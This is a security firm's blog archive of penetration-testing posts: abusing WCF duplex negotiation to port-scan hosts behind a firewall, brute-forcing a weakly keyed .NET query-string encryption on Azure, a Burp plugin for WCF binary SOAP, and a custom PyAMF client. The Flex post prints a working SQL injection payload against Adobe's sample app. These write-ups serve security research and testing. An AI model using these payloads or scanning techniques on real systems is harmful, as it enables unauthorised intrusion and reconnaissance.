GDS Security Blog

Abusing WCF to Perform Remote Port Scans

Brian Holyfield — Fri, 12 Feb 2010 13:00:47 +0000

Last weekend at Shmoocon, I demonstrated how an attacker can trick certain WCF web services into performing an unauthorized port scan of machines behind a firewall. For those that were not able to attend the talk, the slides are posted here. The part that covers the port scanning technique may not be clear in isolation, so I’ll try and explain it in detail. The problem is related to the WSDualHttpBinding, so in order to understand how the scanning technique works you must first understand some WSDualHttpBinding basics.

The WSDualHttpBinding

The WSDualHttpBinding is one of several “Duplex” WCF bindings. The term Duplex refers to the bi-directional nature of the communication channel, meaning that both the client and the service can directly send messages to each other. This is ideal for scenarios where a service needs to “push” data down to a client, rather than the alternative of constantly polling the server for a callback. In order to do this over HTTP, which is by nature a one-way protocol, WCF sets up a dedicated HTTP listener port on the client that accepts incoming HTTP requests from the service (known as the callback channel). If you are like me, you probably just raised an eyebrow when I said that WCF sets up an inbound HTTP listener on the client machine. This scenario sounds odd from a security perspective, which is what initially caught my eye.

The first step in establishing a session with WSDualHttpBinding requires the client and server to negotiate the duplex connection. This negotiation is a required part of the connection sequence, and is the mechanism that can be abused to perform remote port scanning. The negotiation starts with the client sending a “CreateSequence” SOAP request to the web service endpoint. A typical CreateSequence request is shown below.

As you can see, the CreateSequence request includes a “ReplyTo” address. This address is the URL of the callback channel at which the client expects to receive callback requests from the service. When the service receives this request, it reacts by initiating a “CreateSequenceResponse” to the ReplyTo address, and then responding to the original request with a “202 Accepted”. Conceptually this is represented by the diagram below. Note that the circled numbers represent the order in which each request and response occurs.

The scenario above represents the intended chain of events for a CreateSequence negotiation. There are a few important things to note:

There are two separate HTTP conversations occurring. One is between the client and the service over port 80, and the other is between the service and the client on port 8000.
When the service receives a CreateSequence request, it will immediately attempt to issue the CreateSequenceResponse request to the address that is passed within the ReplyTo value. This does NOT have to be the same address (or port) where the CreateSequence request originated from.

Next, let’s introduce another slightly more complex example. In this scenario, we have 4 machines:

The client, which in this case will end up being the bad guy
The WCF service that uses WSDualHttpBinding
Two unrelated hosts that will serve as targets

The client in this case will send two CreateSequence requests to the service. The first request will include a ReplyTo address of Target1, and the second request will include a ReplyTo address of Target2. Again, the circled numbers represent the order in which each request and response occurs.

This diagram is much more interesting as it depicts what is certainly NOT an intended use case. As illustrated above, the first CreateSequence request (1) causes the service to initiate a connection to Target1 on port 8000, just as the second CreateSequence request (4) does to Target2. Even more interesting is that the “Accepted” HTTP response (7) to the second CreateSequence request (4) does not occur until AFTER the connection to Target1 times out (5). This means that the delay between the second CreateSequence (4) and the subsequent “Accepted” response (7) was directly related to the response time of the first CreateSequenceResponse attempt (5). It appears that a WCF service will not respond to a new CreateService request until all previous CreateSequenceResponse requests have either been acknowledged or timed out.

What Does this Mean?

Based on the behavior described above, the CreateSequence HTTP response delay is an effective mechanism to determine the state of a prior connection request. By issuing multiple requests to different hosts and ports, we can use this behavior to probe remote hosts from the server hosting the WCF service. Depending on the connectivity available from the host, we can even probe systems that would not otherwise be available to us (such as on an internal network or DMZ).

In order to prove this theory, I wrote a utility to issue successive CreateSequence requests to a WCF service that each have a different ReplyTo address and/or port. It measures the time between a CreateSequence request and the “202 Accepted” response in an attempt to determine whether a previous request was successful. The utility is fairly simple and operates as follows (assume that Service is the WCF service we want to mis-use, and that the Target is the machine we want to port scan):

Request #1: Issue a CreateSequence request to Service which will ReplyTo Target on Port 1. The delay (if any) on this first request is not associated with a connection we initiated so the timing of this first response is ignored.
Request #2: Issue another CreateSequence request to Service which will ReplyTo Target on Port2. A timer is used to measure the time between this request the “202 Accepted” response from Service. This response will not occur until the previous CreateSequenceResponse has been acknowledged or timed out. As such, this delay will be used to infer the outcome of the probe caused by Request #1.
Request #3: Issue a CreateSequence request to Service which will ReplyTo Target on Port3. A timer is used to measure the time between this request the “202 Accepted” response from Service. This response will not occur until the previous CreateSequenceResponse has been acknowledged or timed out. As such, this delay will be used to infer the outcome of the probe caused by Request #2.
and on and on and on…

Proof of Concept

As a proof of concept, I deployed an instance of the MSDN CalculatorDuplex sample service to a virtual machine in the Microsoft Azure cloud to use as a test case. This service is a simple calculator web service that uses the WCF WSDualHttpBinding. As it turns out, the Azure environment was a great place to test this concept since Azure VMs actually reside on an internal private 10.x.x.x network behind a firewall. Conceptually, this is represented in the diagram below (note, this is an over simplified diagram based on what I have seen in my limited testing with Azure).

Based on an analysis of the VM running the sample service, it also appeared that the VMs within the Azure environment typically run IIS on port 20000. I used the utility to remotely scan other VMs within the 10.x.x.x address space on this port through requests to the Calculator service. The results from the initial test are shown in the screenshot below.

As you can see, the result of each probe is inferred based on the average response time of the other requests. The scan above shows that four of the probes returned very quickly (around 114 ms) while the others appear to have timed out. The probes that do not time out in this case are the other internal VMs that are up and running IIS on port 20000. As a second test, I used the utility to probe ports on the localhost of the machine running the Calculator service. As you can see below, the probe to port 3389 times out while the others return after about 1 second. So in this case, the Remote Desktop service is running on the localhost.

So to summarize, this appears to be a potential design flaw within the WCF create sequence negotiation process. As a result, any service that uses this binding can be abused by a remote user to scan other hosts (even those behind a firewall that they may not otherwise have access to). Certain web-based attacks can also be proxied through these services since the remote attacker has the ability to control not only the target address and port, but also the complete URI that will be requested. The source code for the scanner utility is posted here for reference.

Breaking Password Based Encryption with Azure

Brian Holyfield — Fri, 29 Jan 2010 21:02:20 +0000

During a recent security review, we came across a .NET application that was encrypting query string data to thwart parameter based attacks. We had not been given access to the source code, but concluded this since each .aspx page was being passed a single Base64 encoded parameter which, when decoded, produced binary data with varying 16 byte blocks (likely AES considering it is the algorithm of choice for many .NET developers).

The Code

After doing some research (aka plugging the words “.NET”, “Query String” and “Encryption” into Google), we identified several references to a piece of code that had been written and published a few years back for encrypting query strings in .NET. The code we found even used the same parameter name as our application did to pass the encrypted query string data to each page, so we were fairly confident it was the code they were using.

Having written SPF, I am always interested to see how other applications implement cryptography since I know it is not always easy to do properly. In addition to the common problem of re-using the same IV for every encrypted query string, we noticed that the key was entirely derived from a static password embedded in the code (it was being derived using the .NET Framework PasswordDeriveBytes class directly from the literal string value “key”).

For reference, I’ve included the Decrypt method below:

  private const string ENCRYPTION_KEY = "key";

  public static string Decrypt(string inputText)
  {
    RijndaelManaged rijndaelCipher = new RijndaelManaged();
    byte[] encryptedData = Convert.FromBase64String(inputText);
    byte[] salt = Encoding.ASCII.GetBytes(ENCRYPTION_KEY.Length.ToString());
    PasswordDeriveBytes secretKey = new PasswordDeriveBytes(ENCRYPTION_KEY, salt);

    using (ICryptoTransform decryptor = rijndaelCipher.CreateDecryptor(secretKey.GetBytes(32),

    secretKey.GetBytes(16)))
    {
      using (MemoryStream memoryStream = new MemoryStream(encryptedData))
      {
        using (CryptoStream cryptoStream = new CryptoStream(memoryStream, decryptor, CryptoStreamMode.Read))
        {
          byte[] plainText = new byte[encryptedData.Length];
          int decryptedCount = cryptoStream.Read(plainText, 0, plainText.Length);
          return Encoding.Unicode.GetString(plainText, 0, decryptedCount);
        }
      }
    }
  }

Password based encryption schemes like this are common in many applications, since the key can easily be represented by a word or passphrase. The nice thing from an attacker’s perspective is that regardless of how large the real encryption key is, the feasibility of a brute force attack is largely dependent on the length and complexity of the password used to derive the key and not the key itself. So for this example, even though they are using 256-Bit AES encryption (generally considered secure), the password used to generate the key is easily brute forced since it is only 3 characters.

Given the code we found, the first and obvious test was to try decrypting our query string values with the same “key” string. Sadly that didn’t work. After trying several educated guesses at what we thought could be the password, I decided to clone the decryption logic into a .NET console utility and run a recursive alphanumeric brute force against the password. The approach was rather simple:

Take one of our encrypted samples
Loop through every alphanumeric character combination
Using the identical logic shown above, derive the key and decrypt

The caveat here is that we really don’t know what value to expect when it decrypts, but chances are it should be just ASCII text (and hopefully a query string name/value pair). The good news is that most of the keys we generate will generate a CryptographicException, so we can rule out any key value that results in this exception. For safety’s sake I decided to convert the results of every successful decrypt to ASCII and save for further review if needed.

The Cloud

After running the utility for an hour or so I realized that a laptop Windows instance was not the optimal environment for running a brute force password crack (not to mention it rendered the machine pretty useless in the meantime). Having recently signed up for a test account on the Microsoft Azure cloud platform for some unrelated WCF testing, I thought this would be a great opportunity to test out the power of the Microsoft cloud. Even better, Azure is FREE to use until February 1, 2010.

The concept of using the cloud to crack passwords is not new. Last year, David Campbell wrote about how to use Amazon EC2 to crack a PGP passphrase. Having never really worked with the Azure platform (aside from registering for a test account), I first needed to figure out the best way to perform this task in the environment. Windows Azure has two main components, which both run on the Azure Fabric Controller (the hosting environment of Windows Azure):

Compute – Provides the computation environment. Supports “Web Roles” (essentially web services and web applications) and “Worker Roles” (services that run in the background)
Storage – Provides scalable storage (Blobs, Tables, Queue)

I decided to create and deploy a “Worker Role” to run the password cracking logic, and then log all output to a table in the storage layer. I’ll spare you the boring details of how to port a console utility to a Worker Role, but it’s fairly simple. The first run of the Worker Role was able to produce approximately 1,000,000 decryption attempts every 30 minutes, or about 555 tries/second. This was definitely faster than the speed I was getting on the laptop, but not exactly what I was hoping for from “the cloud”.

I did some research on how the Fabric Controller allocates resources to each application, and as it turns out there are 4 VM sizes available as shown below:

Compute Instance Size	CPU	Memory	Instance Storage	I/O Performance
Small	1.6 GHz	1.75 GB	225 GB	Moderate
Medium	2 x 1.6 GHz	3.5 GB	490 GB	High
Large	4 x 1.6 GHz	7 GB	1,000 GB	High
Extra large	8 x 1.6 GHz	14 GB	2,040 GB	High

The size of the VM used by the Worker Role is controlled through the role properties that get defined when the role is configured in Visual Studio. By default, roles are set to use the “small” VM, but this is easily changed to another size. The task at hand is all about CPU, so I increased the VM to “Extra Large” and redeployed the worker role.

Expecting significant performance gains, I was disappointed to see that the newly deployed role was running at the same exact speed as before. The code was clearly not taking full advantage of all 8 cores, so a little more research led me to the Microsoft Task Parallel Library (TPL). TPL is part of the Parallel Extensions, a managed concurrency library developed by Microsoft for .NET that was specifically designed to make running parallel processes in a multi-core environment easy. Parallel Extensions are included by default as part of the .NET 4.0 Framework release. Unfortunately Azure does not currently support .NET 4.0, but luckily TPL is supported on .NET 3.5 through the Reactive Extensions for .NET (Rx).

Once you install Rx, you can reference the System.Threading.Tasks namespace which includes the Parallel class. Of specific interest for our purpose is the Parallel.For method. Essentially, this method executes a for loop in which iterations may run in parallel. Best of all, the job of spawning and terminating threads, as well as scaling the number of threads according to the number of available processors, is done automatically by the library.

As expected, this was the secret sauce I had been missing. Once re-implemented with a Parallel.For loop, the speed increased significantly to 7,500,000 decryption attempts every 30 minutes, or around 4,200 tries/second. That’s 1M tries every 4 minutes, meaning we can crack a 5 character alphanumeric (lowercase) password in about 4 hours, or the same 6 character equivalent in about 6 days. This is still significantly slower than the speed obtained by Campbell’s experiment, but then again he was using a distributed program designed specifically for fast password cracking (as opposed to the proof of concept code we are using here), not to mention I am also logging output to a database in the storage layer. At the time of writing, the password hasn’t cracked but the worker process has only been running for about 24 hours (so there’s still plenty of time). What remains to be seen is how fast this same code would run in the Amazon EC2 cloud, which may be a comparison worth doing.

The important takeaway here is not about the power of the cloud (since there’s nothing we can do to stop it), but rather about Password Based Encryption. Regardless of key length and choice of algorithm, the strength of your encryption always boils down to the weakest link…which in this case, is the choice of password.

WCF Binary Soap Plug-In for Burp

Brian Holyfield — Fri, 20 Nov 2009 00:38:55 +0000

Update 2010: With the official release of Burp Suite v1.3, both plug-ins discussed in this post can be used with either Pro or Free versions of Burp.

If you run into a Silverlight application that consumes WCF, there’s a good chance it will use Binary XML Message Encoding to send data between the Silverlight client and the WCF endpoint. These messages usually include a Content-Type: application/soap+msbin1 header to indicate that they are using Microsoft’s .NET Binary Format for SOAP (NBFS). From an attack perspective, the main problem with this encoding format is that you can’t simply edit requests or responses on-the-fly like you would with text-based SOAP messages, since the recipient of the message expects the data to be properly encoded (otherwise it will throw an exception) and, as such, will throw an exception if it’s not.

My initial research into what security tools support NBFS didn’t turn up much. The only option I found were two WCF Binary Inspectors for Fiddler (one here written by Richard Berg, and another here written by Samuel Jack). Both of these inspectors are essentially plug-ins for Fiddler that add support to view NBFS encoded data. Originally these both looked like the solution I was after, however upon further analysis I realized that while those plug-ins let you VIEW encoded messages, they don’t let you EDIT them. I decided it would be a worthwhile effort to try and leverage the plug-in architecture of Burp Suite (through use of the BurpExtender interface) to write a NBFS plug-in for Burp.

The Solution (sort of)
Not wanting to re-invent the wheel, I figured I would leverage the work that had already been done with Fiddler by calling into one of the existing Fiddler libraries from Burp. I chose to use Richard Berg’s code since it looks like it can be ported entirely to Java down the road if needed (it doesn’t rely on WCF’s built-in decoder). Luckily for me, his code also had all of the methods needed to both encode and decode message data.

The way the plug-in works is pretty simple…when a request comes in, the processProxyMessage method of BurpExtender is used to check whether the requests should be decoded and, if so, passes the request data to the C# library. The C# library decodes the message and returns the plain-text version back to Burp. As requests exit Burp, the processHttpMessage method of BurpExtender is used to determine whether the request needs to be re-encoded and, if so, calls into the C# library again.

There are a couple of interesting points to note here:

The processHttpMessage of BurpExtender is currently only supported in the Professional version of Burp Suite. It is my understanding that this method will be supported in the Free version starting with the next release (v1.3) but for now only licensed users of Burp pro have access to this extender method.
Both the processProxyMessage AND processHttpMessage methods of BurpExtender alway fire BEFORE a response can be edited by the user. Unfortunately this precludes the Plug-in from being able to re-encode RESPONSE messages should the user want to edit one.

What this means is that you’ll need to resort to the proxy chaining as a workaround for this if you use the Burp Free Edition (explained in more detail below). Additionally, even if you use Burp Professional Edition, you’ll need to use this workaround if you want to edit RESPONSE data (REQUEST data can be edited on the fly with a single instance of Burp Professional).

Plug-In Versions
There are two version of the Burp plug-in available:

Burp Professional Edition Plug-in: Allows binary requests to be edited on the fly. This version does not support editing of response data. Pro users can use the Free Edition Plug-in with Burp Professional for editing response data.

Burp Universal Plug-in: The Universal Plug-in works with both Free and Professional Editions of Burp and supports editing of binary REQUESTS and RESPONSES. The caveat to using this version of the plug-in is that you’ll need to chain two burp instances together as outlined in the diagram below for the plugin to work properly.

The purpose of chaining two proxies together is as follows:

The first instance handles decoding requests, intercepting (and editing) requests, and re-encoding edited responses. Set this instance to intercept REQUESTS only (not responses) and to use the 2nd proxy as the next hop.
The second instance handles re-encoding edited requests, decoding responses, and intercepting (and editing) responses. Set this instance to intercept RESPONSES only (not requests).

Each proxy will add or remove a custom header (X-WCF-Proxy: must-encode) to edited requests/responses which they use to notify each other of whether re-encoding of a message is necessary. This custom header is removed when read by the plug-in, so it shouldn’t ever get disclosed to the target system.

Albeit it slightly crude, I didn’t see much in the way of a better work around (I am certainly open to suggestions if anyone has any). It should be noted that this workaround is ONLY necessary if you are using the Free Edition (1.2.x) of Burp Suite OR if you want to want to edit WCF binary response content using Burp Professional Edition. Editing WCF binary request data is supported with a single instance of the Burp Professional Plug-In.

Next Steps
These plug-ins were created as a proof of concept for the talk at OWASP AppSec DC 2009. Looking forward, the C# decoding library should easily port to pure Java since it doesn’t make use of the native WCF decoding classes. This would not only eliminate cross-language calls but would also make the plug-in platform independent (since the implementation would be in pure Java). The drawback to this approach, of course, is that we would be using a home grown decoder for a proprietary Microsoft protocol that could change down the road.

In any case, hopefully the plug-ins will be useful in the short term until more security tools include native support for NBFS messages. You can find both versions of the plug-in available for free on our tools page.

Slides from AppSec DC Posted

Brian Holyfield — Thu, 19 Nov 2009 05:43:27 +0000

Slides from the “Attacking WCF Web Services” talk I presented last week at OWASP AppSec DC 2009 are now available for download. We’ve also released the WCF Binary Soap Plug-In for Burp that was demonstrated during the presentation. There will be a separate blog post dedicated to this plug-in published later today, so I definitely recommend reading it to get the full scoop on what it does and how to use it.

Overall, the conference was great. Aside from the presentations, the highlight for me was when we ran into Jason Alexander (aka George Costanza) at dinner on Thursday night. These pretzels are making me thirsty!!

Pentesting Adobe Flex Applications with a Custom AMF Client

Marcin Wielgoszewski — Wed, 11 Nov 2009 15:27:23 +0000

At GDS, we’ve seen an increase over the past few months in the number of applications using Adobe Flex at the presentation layer. Vulnerabilities in Flash aside (i.e., Dowd [PDF]), this technology often presents an obstacle for security testers, especially if the application uses ActionScript Message Format (AMF) to send data across the wire. The AMF specification [PDF], has been implemented in various languages, including Java, Python, PHP, and Ruby. While there are tools out there like Burp and Deblaze which let you manipulate AMF requests, there are certain scenarios where you might want to build your own custom client for testing with AMF. Being a Python fan myself, let’s walk through the process of using the PyAMF library to quickly write a custom AMF test client.

Adobe provides several turnkey BlazeDS applications to get developers started with Flex, allowing them to use existing Java backend application logic (courtesy BlazeDS). After downloading the examples, I poked around some of the code and immediately stumbled into a textbook SQL injection vulnerability in the EmployeDAO.java class (code snippet below). This vulnerable application will serve as a perfect example for my custom test client.

 
public class EmployeeDAO {
..snip..

public List findEmployeesByName(String name) throws DAOException
    List list = new ArrayList();
    Connection c = null;
    try {
        c = ConnectionHelper.getConnection();
        Statement s = c.createStatement();
        ResultSet rs = s.executeQuery("SELECT * FROM employee WHERE
            first_name LIKE '%" + name + "%' OR
            last_name LIKE '%" + name + "%' ORDER BY last_name");
        Employee employee;
        while (rs.next())
        ..snip..

To exploit this, we will write a client that can make requests to the remoting destination. In Python, we construct an AMF request like so using the pyamf.flex.messaging.RemotingMessage class:

 
request = RemotingMessage(operation="findEmployeesByName",
                          destination="runtime-employee-ro",
                          messageID=str(uuid.uuid4()).upper(),
                          body=['Marcin'],
                          clientId=None,
                          headers={'DSId': str(uuid.uuid4()).upper(),
                                   'DSEndpoint': 'my-amf',},
                         )

Then, we wrap our request in an AMF envelope:

 

envelope = pyamf.remoting.Envelope(amfVersion=3)
envelope["/%d" % 1] = pyamf.remoting.Request(u'null', [request])

Afterwards, we need to encode our Request Envelope in AMF using pyamf.remoting.encode().

 

message = pyamf.remoting.encode(envelope)

Using httplib, we can send and receive HTTP requests with Python, containing our AMF encoded request in the body. We also set the Content-Type to “application/x-amf”, to specify the request is encoded in AMF, versus say, application/x-www-form-urlencoded.

 

conn = httplib.HTTPConnection(hostname, port)
conn.request('POST', path, message.getvalue(),
             headers={'Content-Type': 'application/x-amf'})

Across the wire, this request looks like:

 

POST /samples/messagebroker/amf HTTP/1.1
Host: 172.16.247.130:8400
Accept-Encoding: identity
Content-Type: application/x-amf
Content-Length: 312

\x00\x03\x00\x00\x00\x01\x00\x04null\x00\x02/1\x00\x00\x00\x00\n\x00\x00
\x00\x01\x11\n\x81\x13Oflex.messaging.messages.RemotingMessage\tbody\x11
clientId\x17destination\x0fheaders\x13messageId\x13operation\rsource\x15
timeToLive\x13timestamp\t\x03\x01\x06\rMarcin\x01\x06'runtime-employee-ro
\n\x0b\x01\tDSId\x06I7F172AA9-9172-4EE4-A6FA-A09A5C961196\x15DSEndpoint
\x06\rmy-amf\x01\x06ID246131C-F453-47C5-A55C-A6EE822D7BF0\x06'
findEmployeesByName\x01\x01\x01

Following, retrieve the response from our connection object, and use pyamf.remoting.decode() to decode and print the content.

 

response = conn.getresponse()
content = response.read()

content = pyamf.remoting.decode(content)

print content
# -----------


 (u'/1', [])

Querying the findEmployeesByName method and injecting a single quote causes a java.sql.SQLException error to be thrown.

 

faultString=u'flex.samples.DAOException : java.sql.SQLException: Unexpected
token: % in statement [%]'

To exploit this, perform a SQL injection like any other; I’ll insert a record of my own into the database:

 

POST /samples/messagebroker/amf HTTP/1.1
Host: 172.16.247.130:8400
Accept-Encoding: identity
Content-Length: 412
Content-Type: application/x-amf

\x00\x03\x00\x00\x00\x01\x00\x04null\x00\x02/1\x00\x00\x00\x00\n\x00\x00
\x00\x01\x11\n\x81\x13Oflex.messaging.messages.RemotingMessage\tbody\x11
clientId\x17destination\x0fheaders\x13messageId\x13operation\rsource\x15
timeToLive\x13timestamp\t\x03\x01\x06\x81S\\';INSERT INTO employee
(first_name, last_name, title) VALUES ('Marcin', 'Wielgoszewski', 'Rogue
CEO');--\x01\x06'runtime-employee-ro\n\x0b\x01\tDSId\x06I359E2429-9CD6-
423C-AF3D-4BD3DC4E40F3\x15DSEndpoint\x06\rmy-amf\x01\x06IBE9315A6-A7F6-
42CE-A338-23D703573207\x06'findEmployeesByName\x01\x01\x01

The response did not contain anything in the body, which usually is a good indicator the SQL had processed without error. Calling the findEmployeesByName method once more, with Marcin as a parameter value, returns the following data:

In summary, this blog post aims to demonstrate how pen testers can leverage the PyAMF library to quickly write a custom AMF test client in Python. As an interesting side note, the only method called from the client-side Flex code in the sample application is getEmployees (with no parameters). Only after reviewing the code would one see what methods are actually available to call. So even though the findEmployeesByName method was not used by the Flex application, it is vulnerable to SQL injection!

During an assessment, it’s critical that you identify all the service and method endpoints called by the application, and to also review the source code for potentially hidden methods. If you’re operating from a strictly BlackBox perspective, you should always decompile the SWF using a tool like SWFScan, and grep for RemoteObject and AMFChannel as a relatively good way to identify remoting methods. The DeBlaze tool can also performs remote service and method enumeration, which can help you identify other services and methods that aren’t exposed in the application SWF.

In my next post, I’ll show how you can reverse and create custom objects using Python and PyAMF for advanced penetration testing of Adobe Flex applications. Thanks to Adobe for providing a nice sample BlazeDS application, complete with SQL injection :)

GWT-RPC in a Nutshell

Ron Gutierrez — Thu, 08 Oct 2009 21:52:19 +0000

Hello folks, Ron Gutierrez here. Recently I chose to dissect the cryptic serialized HTTP requests used by Google Web Toolkit RPC to better understand which fields are actually “fuzzable”. If you were looking to find a flaw in the implementation of GWT RPC then every single value in the request would be fuzzible. In this case, I’m looking for the fields that the web application will actually be processing.

First, a little bit about Google Web Toolkit (GWT). GWT is a Java framework that is used to create AJAX applications. Rather than having to write complex JavaScript code, GWT makes it easy to build AJAX enable Java web applications by allowing developers to build the components in Java and then compiling that code into optimized JavaScript for browsers to run. One of the added bonuses that GWT provides is the ability to reuse code. GWT-RPC provides the ability to send native and custom Java objects from the client-side Javascript code over to the Java server-side backend. GWT-RPC sends a serialized stream containing the Class name, Method name, Parameters through the wire whenever an AJAX call is made. This serialized stream is what we need to dissect in order to understand which fields can be fuzzed without invalidating the request.

The serialized steam is in plaintext and delimited by pipes. The calls are sent through the browser as a typical HTTP POST Request with the serialized method call in the body of the request. Here is an example of a very simple GWT RPC request to a method called greetServer that takes in two strings as parameters.